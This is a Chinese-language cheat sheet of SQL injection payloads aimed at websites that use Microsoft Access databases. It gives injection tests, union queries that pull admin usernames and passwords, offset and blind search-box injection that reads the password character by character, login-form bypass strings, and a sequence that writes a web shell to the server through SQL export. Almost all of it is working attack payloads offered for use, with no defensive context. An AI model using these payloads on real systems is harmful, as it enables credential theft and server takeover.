access注入 access偏移注入 access搜索型注入 access登陆框注入

1.判断注入.

and 1=1
and 1=2
或者
-0
-1 看页面的变化

2. access注入.

联合查询
order by 10
and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin
and 1=2 union select 1,username,3,4,password,6,7,8,9,10 from admin

3. access偏移注入. 条件须有id字段

order by 13
and 1=2 union select 1,2,3,4,5,6,7,8,9,* from admin 直到*正常

13-9=4 4*2=8 13-8=5
and 1=2 union select 1,2,3,4,5,* from (admin as a inner join admin as b on a.id=b.id)

4. access爆字段

select * from next where id=1 ORDER BY sum(1)
只能爆出一个字段 如为 bm_username 就可以猜其他的了

还可以通过网站后台 查看源代码查找字段

5 .access搜索型注入

2010%‘and(select count(*)from mssysaccessobjects)>0 and ‘%‘=‘ //返回正常。access数据库
2010%‘and(select count(*)from admin)>0 and ‘%‘=‘ //返回正常存 在admin表
2010%‘and(select count(username)from admin)>0 and ‘%‘=‘ //返回正常,存在username字段
2010%‘and(select count(password)from admin)>0 and ‘%‘=‘ //返回正常,并且存在password字段
2010%‘and(select top 1 len(username)from admin)>4 and ‘%‘=‘ //返回正常username长度大于4
2010%‘and(select top 1 len(username)from admin)=5 and ‘%‘=‘ //返回正常username长度等于5
2010%‘and(select top 1 len(password)from admin)=32 and ‘%‘=‘ //返回正常,密码长度为32位加密。

username length 5
password length 32

2010%‘and(select top 1 asc(mid(username,1,1))from admin)=97 and ‘%‘=‘ //a
以下都是对应位置的ascii的编码，如果不是则返回错误。
2010%‘and(select top 1 asc(mid(password,1,1))from admin)=48 and ‘%‘=‘,
2010%‘and(select top 1 asc(mid(password,2,1))from admin)=102 and ‘%‘=‘
2010%‘and(select top 1 asc(mid(password,3,1))from admin)=101 and ‘%‘=‘
2010%‘and(select top 1 asc(mid(password,4,1))from admin)=102 and ‘%‘=‘

这个查询太费时间了 可以试下union联合查询
2010%‘ order by 10 and ‘%‘=‘
2010%‘ and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin and ‘%‘=‘
2010%‘and 1=2 union select 1,username,3,4,password,6,7,8,9,10 from admin and ‘%‘=‘

6. access登陆框注入

1. a‘ or(select count(*) from admin)>0 and ‘1‘=‘1
2. a‘ or(select count(username) from admin)>0 and ‘1‘=‘1
3. a‘ or(select count(password) from admin)>0 and ‘1‘=‘1

这个查询太费时间了 可以试下union联合查询

a‘ union select 1,2,3,4,5,6,7,8,9,10 from admin and ‘1‘=‘1
a‘ union select 1,username,3,4,password,6,7,8,9,10 from admin and ‘1‘=‘1

7.ACCESS执行SQL语句导出一句话拿webshell

第一句代码
1.create table cmd (a varchar(50))
第二句代码
1.insert into cmd (a) values (‘一句话木马‘)
第三句代码
1.select * into [a] in ‘e:\host\web2011\ok.asp;ok.xls‘ ‘excel 4.0;‘ from cmd
第四句代码
1.drop table cmd

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